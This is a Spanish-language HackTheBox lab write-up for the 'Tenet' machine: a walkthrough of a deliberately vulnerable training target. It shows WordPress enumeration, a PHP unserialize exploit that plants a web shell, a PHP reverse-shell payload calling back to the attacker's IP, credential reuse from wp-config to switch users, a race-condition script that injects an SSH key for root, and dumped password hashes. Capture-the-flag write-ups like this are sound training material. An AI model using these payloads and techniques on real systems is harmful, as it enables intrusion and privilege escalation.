Contents

HackTheBox - Tenet

HackTheBox - Tenet

Informacion de la Maquina

Tenet es presentada con dificultad media, la enumeracion en wordpress nos llevo al codigo fuente de una pagina la cual fue vulnerada mediante un objeto serializado. Se utilizaron las credenciales en archivos de configuracion para realizar movimiento lateral. Un pequeño script para la escritura de nuestra clave privada en un archivo temporal proporciono una shell root.

DificultadMEDIO
OSLinux
Fecha de Salida2021-01-16
First User Bloodszymex73 (0H 14M 14S)
First Root Bloodszymex73 (0H 23M 53S)
Rated Difficulty
Machine Matrix

Recon

nmap

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

bash
 1# Nmap 7.91 scan initiated Tue Mar 30 23:41:39 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.223
 2Warning: 10.10.10.223 giving up on port because retransmission cap hit (10).
 3Nmap scan report for 10.10.10.223 (10.10.10.223)
 4Host is up (0.13s latency).
 5Not shown: 36387 closed ports, 29146 filtered ports
 6PORT   STATE SERVICE
 722/tcp open  ssh
 880/tcp open  http
 9
10# Nmap done at Tue Mar 30 23:43:09 2021 -- 1 IP address (1 host up) scanned in 89.70 seconds
11
12# Nmap 7.91 scan initiated Tue Mar 30 23:43:28 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.223
13Nmap scan report for 10.10.10.223 (10.10.10.223)
14Host is up (0.067s latency).
15
16PORT   STATE SERVICE VERSION
1722/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
18| ssh-hostkey: 
19|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
20|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
21|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
2280/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
23|_http-server-header: Apache/2.4.29 (Ubuntu)
24|_http-title: Apache2 Ubuntu Default Page: It works
25Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
26
27Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
28# Nmap done at Tue Mar 30 23:43:38 2021 -- 1 IP address (1 host up) scanned in 9.99 seconds

Web Site

Encontramos la pagina de apache en el puerto 80.

image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos.

bash
1/index.html (Status: 200)
2/users.txt (Status: 200)
3/wordpress (Status: 301)

El archivo users.txt solo muestra un pequeño mensaje.

bash
1Success

WordPress

La pagina de wordpress tiene configurado un dominio tenet.htb.

bash
1HTTP/1.1 404 Not Found
2Date: Wed, 31 Mar 2021 03:52:10 GMT
3Server: Apache/2.4.29 (Ubuntu)
4Expires: Wed, 11 Jan 1984 05:00:00 GMT
5Cache-Control: no-cache, must-revalidate, max-age=0
6Link: <http://tenet.htb/index.php/wp-json/>; rel="https://api.w.org/"
7Transfer-Encoding: chunked
8Content-Type: text/html; charset=UTF-8

WPScan

Utilizamos wpscan para enumerar plugins vulnerables y usuarios registrados. Encontramos dos nombres de usuario: protagonist y neil.

bash
 1[+] URL: http://tenet.htb/ [10.10.10.223]
 2[+] Started: Tue Mar 30 23:51:33 2021
 3
 4Interesting Finding(s):
 5[... REDACTED ...]
 6
 7[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
 8 | Found By: Direct Access (Aggressive Detection)
 9 | Confidence: 100%
10
11[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
12 | Found By: Rss Generator (Passive Detection)
13 |  - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
14 |  - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
15
16[+] WordPress theme in use: twentytwentyone
17 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
18 [... REDACTED ...]
19 | Version: 1.0 (80% confidence)
20 | Found By: Style (Passive Detection)
21 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
22
23[+] Enumerating Vulnerable Plugins (via Passive Methods)
24
25[i] No plugins Found.
26
27[+] Enumerating Users (via Passive and Aggressive Methods)
28 Brute Forcing Author IDs - Time: 00:00:01 <========== ... ======> (10 / 10) 100.00% Time: 00:00:01
29
30[i] User(s) Identified:
31
32[+] protagonist
33 | Found By: Author Posts - Author Pattern (Passive Detection)
34 | Confirmed By:
35 |  Rss Generator (Passive Detection)
36 |  Wp Json Api (Aggressive Detection)
37 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
38 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
39 |  Login Error Messages (Aggressive Detection)
40
41[+] neil
42 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
43 | Confirmed By: Login Error Messages (Aggressive Detection)
44
45[... REDACTED ...]

Asi mismo enumeramos los diferentes posts, donde logramos obtener informacion en los comentarios de neil, menciona el archivo sator.php y backup.

bash
1neil: did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

Encontramos que el archivo sator.php aun existe pero no en el dominio que encontramos si no directamente en la direcion IP, por lo que posiblemente el backup esté en el mismo lugar.

bash
1[+] Grabbing users from text file <br>
2[] Database updated <br>

PHP Unserialize - RCE

Neil habla de un backup pero no especifíca de que archivo/software/db, aunque menciona sator.php, agregamos la extension de un backup (bak) al archivo sator.php.bak y logramos obtener el codigo fuente.

php
 1<?php
 2
 3class DatabaseExport
 4{
 5	public $user_file = 'users.txt';
 6	public $data = '';
 7
 8	public function update_db()
 9	{
10		echo '[+] Grabbing users from text file <br>';
11		$this-> data = 'Success';
12	}
13
14
15	public function __destruct()
16	{
17		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
18		echo '[] Database updated <br>';
19	//	echo 'Gotta get this working properly...';
20	}
21}
22
23$input = $_GET['arepo'] ?? '';
24$databaseupdate = unserialize($input);
25
26$app = new DatabaseExport;
27$app -> update_db();
28
29?>

Al analizar el codigo, observamos una variable que obtiene el valor pasado al parametro arepo por medio de una solicitud GET, este valor es unserializado (unzerialize($_GET['arepo'])), por ultimo se crea un objeto del tipo DatabaseExport() y realiza la ejecucion de la funcion update_db(). Sabiendo lo anterior vamos a enfocarnos en la funcion unserialize() ya que si se le pasa un valor serializado este puede ser ejecutado como se indica en la documentacion de php.

Un post que explica como es posible explotar esta vulnerabilidad. En el caso de sator.php, este crea y escribe dentro de un archivo con el valor de las variables. Si podriamos cambiar estos valores podriamos crear archivos con codigo PHP para la ejecucion de nuestro propio codigo. Para explotar unserialize() se crea una clase, se crea un objeto, se serializa y codifica en url, este valor se le pasa a sator.php?arepo=VALOR.

php
 1<?php
 2class DatabaseExport
 3{
 4	public $user_file = 'batman.php';
 5	public $data = '<?php echo "knock knock"; ?>';
 6}
 7
 8echo urlencode(serialize(new DatabaseExport));
 9
10?>
bash
1┌──(kali㉿kali)-[~/htb/tenet]
2└─$ php example.php
3O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D
4┌──(kali㉿kali)-[~/htb/tenet]
5└─$ curl -s "http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D"

Confirmamos que el archivo se haya creado, por lo que ahora vamos a ejecutar comandos para enumerar la maquina utilizando una webshell o ejecutando una shell inversa.

bash
1┌──(kali㉿kali)-[~/htb/tenet]
2└─$ curl -s http://10.10.10.223/batman.php
3knock knock                                                                                                                    
4┌──(kali㉿kali)-[~/htb/tenet]
5└─$

User - www-data

Utilizamos el siguiente codigo en la variable $data generamos el codigo serializado y codificado, se envia a la solicitud a sator.php para obtener una shell con el usuario www-data.

php
1<?php
2[... REDACTED ...]
3$data = '<?php $sock=fsockopen("10.10.10.10",1338);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);echo "hi" ?>';
bash
 1┌──(kali㉿kali)-[~/htb/tenet]
 2└─$ rlwrap nc -lvp 1338
 3listening on [any] 1338 ...
 4connect to [10.10.10.10] from tenet.htb [10.10.10.223] 48066
 5can't access tty; job control turned off
 6which python
 7which python3
 8/usr/bin/python3
 9python3 -c 'import pty;pty.spawn("/bin/bash");'
10whoami;id;pwd
11whoami;id;pwd
12www-data
13uid=33(www-data) gid=33(www-data) groups=33(www-data)
14/var/www/html
15www-data@tenet:/var/www/html$

User - Neil

Realizamos una pequeña enumeracion en los archivos de wordpress donde logramos encontrar una contraseña que aparentemente es del usuario neil para la base de datos.

php
 1/** MySQL database username */                                                 
 2define( 'DB_USER', 'neil' );
 3
 4/** MySQL database password */
 5define( 'DB_PASSWORD', 'Opera2112' );
 6
 7/** MySQL hostname */
 8define( 'DB_HOST', 'localhost' );
 9
10/** Database Charset to use in creating database tables. */
11define( 'DB_CHARSET', 'utf8mb4' );
12
13/** The Database Collate type. Don't change this if in doubt. */
14define( 'DB_COLLATE', '' );
15
16define( 'WP_HOME', 'http://tenet.htb'); 
17define( 'WP_SITEURL', 'http://tenet.htb');

Verificamos que este mismo usuario exista en la maquina y tenga acceso en la maquina.

bash
1www-data@tenet:/var$
2root:x:0:0:root:/root:/bin/bash
3neil:x:1001:1001:neil,,,:/home/neil:/bin/bash
4www-data@tenet:/var$

Utilizamos la contraseña encontrada, logramos obtener una shell y nuestra flag user.txt en la carpeta de neil.

bash
 1su: Authentication failure
 2www-data@tenet:/$ su neil
 3Password: Opera2112
 4
 5www-data@tenet:/$ echo $HOME
 6/home/neil
 7www-data@tenet:/$ cd
 8www-data@tenet:/$ cat user.txt | cut -c1-15
 9ebd148d5598d5dd
10neil@tenet:~$

Privesc

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el script enableSSH.sh. Vemos el codigo del script y realiza la escritura de la clave publica ssh del usuario root, pero vemos en la funcion addKey que genera un archivo temporal donde realiza la escritura de la clave publica, luego verifica si el archivo existe y si es asi escribe la clave en /root/.ssh/authorized_keys, finalmente elimina el archivo temporal creado.

bash
 1neil@tenet:~$ sudo -l -l
 2Matching Defaults entries for neil on tenet:
 3    env_reset, mail_badpass,
 4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
 5
 6User neil may run the following commands on tenet:
 7
 8Sudoers entry:
 9    RunAsUsers: ALL
10    RunAsGroups: ALL
11    Options: !authenticate
12    Commands:
13        /usr/local/bin/enableSSH.sh
14neil@tenet:~$ ls -lah /usr/local/bin/enableSSH.sh
15-rwxr-xr-x 1 root root 1.1K Dec  8 13:46 /usr/local/bin/enableSSH.sh
16neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
17#!/bin/bash
18checkAdded() {
19        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) # root@ubuntu
20        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
21                /bin/echo "Successfully added $sshName to authorized_keys file!"
22        else
23                /bin/echo "Error in adding $sshName to authorized_keys file!"
24        fi
25}
26
27checkFile() {
28        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
29                /bin/echo "Error in creating key file!"
30                if [[ -f $1 ]]; then /bin/rm $1; fi
31                exit 1
32        fi
33}
34
35addKey() {
36        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
37        (umask 110; touch $tmpName)
38        /bin/echo $key >>$tmpName
39        checkFile $tmpName
40        /bin/cat $tmpName >>/root/.ssh/authorized_keys
41        /bin/rm $tmpName
42}
43
44key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
45addKey
46checkAdded # root@ubuntu
47neil@tenet:~$

La creacion del archivo temporal (tmpName), la escritura de la clave en este y la eliminacion del archivo temporal es demaciado rapida, por lo que debemos de escribir lo más rapido posible en el archivo temporal nuestra clave publica. Para ello realizamos un bucle while escribiendo en el archivo /tmp/ssh-* nuestra clave, hasta que en algun momento se realice la escritura ejecutando en repetidas ocaciones el script con sudo, al mismo tiempo realizamos intentos de ingreso por medio de ssh con usuario root a traves de ssh y esperamos a que en algun momento dado podamos acceder a la cuenta de root.

ex.sh bash
1#!/bin/bash
2while :
3do
4    echo "ssh-rsa AAAAB3Nz[... REDACTED ...] neil@tenet" | tee /tmp/ssh* > /dev/null
5done
bash
1#Intentos en SSH.
2while true; do ssh -i .ssh/id_rsa root@localhost 2>/dev/null; done

Despues de varios intentos logramos obtener una shell con el usuario root y la flag root.txt.

image

bash
1root@tenet:~# whoami; id; pwd
2root
3uid=0(root) gid=0(root) groups=0(root)
4/root
5root@tenet:~# ls
6root.txt
7root@tenet:~# cat root.txt | cut -c1-15
8aaf8bff1f2fc43e
9root@tenet:~#
Crontab

Encontramos un cron especificamente para eliminar el archivo authorized_keys.

bash
1root@tenet:~# crontab -l
2#  [ ... REDACTED ...]
3# m h  dom mon dow   command
4*/3 * * * * rm /root/.ssh/authorized_keys
5*/3 * * * * rm /dev/shm/*
Mysql

Dentro de la base de datos de wordpress encontramos la contraseña encriptada del usuario protagonist.

bash
 1mysql> select user_login,user_pass from wp_users;
 2+-------------+------------------------------------+
 3| user_login  | user_pass                          |
 4+-------------+------------------------------------+
 5| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
 6| neil        | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
 7+-------------+------------------------------------+
 82 rows in set (0.00 sec)
 9
10mysql>
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - ScriptKiddie
Next HackTheBox - Spectra